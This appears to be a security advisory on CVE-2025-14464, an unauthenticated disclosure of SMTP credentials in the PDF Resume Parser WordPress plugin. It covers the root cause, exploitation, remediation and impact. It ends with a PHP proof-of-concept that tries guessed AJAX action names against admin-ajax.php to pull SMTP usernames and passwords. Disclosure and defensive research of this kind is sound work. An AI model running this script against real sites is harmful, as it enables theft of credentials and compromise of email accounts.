Atomic Edge analysis of CVE-2025-14464 (metadata-based):
This vulnerability is an unauthenticated sensitive information disclosure flaw in the PDF Resume Parser WordPress plugin, version 1.0. The plugin exposes SMTP configuration credentials, including usernames and passwords, through an improperly secured AJAX endpoint. The CVSS score of 5.3 (Medium) reflects a network-accessible attack with low complexity and no user interaction required, leading to confidentiality loss.
Atomic Edge research identifies the root cause as an AJAX action handler registered with insufficient access controls. The CWE-200 classification confirms the core issue is exposure of sensitive information to an unauthorized actor. Based on the description, the plugin likely uses the `wp_ajax_nopriv_` hook or a similar mechanism to register a callback function that prints or returns configuration data. This conclusion is inferred from the CWE and the WordPress plugin pattern for AJAX handlers. Without a code diff, Atomic Edge cannot confirm the exact function name or the specific variable containing the SMTP credentials.
Exploitation involves a simple HTTP GET or POST request to the standard WordPress AJAX endpoint. An attacker sends a request to `/wp-admin/admin-ajax.php` with an `action` parameter matching the vulnerable handler. The plugin slug suggests a likely action name such as `pdf_resume_parser_get_smtp` or a similar identifier. No other parameters or authentication are required. The server response will contain the exposed SMTP configuration data in plain text or JSON format.
Remediation requires implementing proper authorization checks on the AJAX handler. The fix should remove the `wp_ajax_nopriv_` hook registration or add a capability check, such as `current_user_can(‘manage_options’)`, before returning any configuration data. The handler must also validate a nonce if the action is intended for authenticated users. The patched version should ensure SMTP credentials are never exposed through front-facing endpoints.
Successful exploitation grants attackers access to SMTP usernames and passwords configured for the WordPress site. Attackers can leverage these credentials to compromise associated email accounts, send phishing or spam emails, and attempt credential reuse attacks on other systems. This can lead to further network intrusion, data exfiltration, and reputational damage.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14464 - PDF Resume Parser <= 1.0 - Unauthenticated Sensitive Information Disclosure in SMTP Credentials
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
// The exact AJAX action name is not specified in the CVE metadata.
// Based on the plugin slug 'pdf-resume-parser', common patterns are inferred.
$possible_actions = [
'pdf_resume_parser_get_smtp',
'pdf_resume_parser_smtp',
'prp_get_smtp',
'get_smtp_settings'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
foreach ($possible_actions as $action) {
$post_data = http_build_query(['action' => $action]);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[*] Trying action: {$action}n";
echo " HTTP Code: {$http_code}n";
// Check for indicators of SMTP data in the response.
if (stripos($response, 'smtp') !== false || stripos($response, 'password') !== false || stripos($response, 'username') !== false || stripos($response, 'host') !== false) {
echo " [SUCCESS] Potential SMTP data found. Response preview:n";
echo substr($response, 0, 500) . "nn";
break;
} else {
echo " No obvious SMTP data in response.nn";
}
}
curl_close($ch);
?>
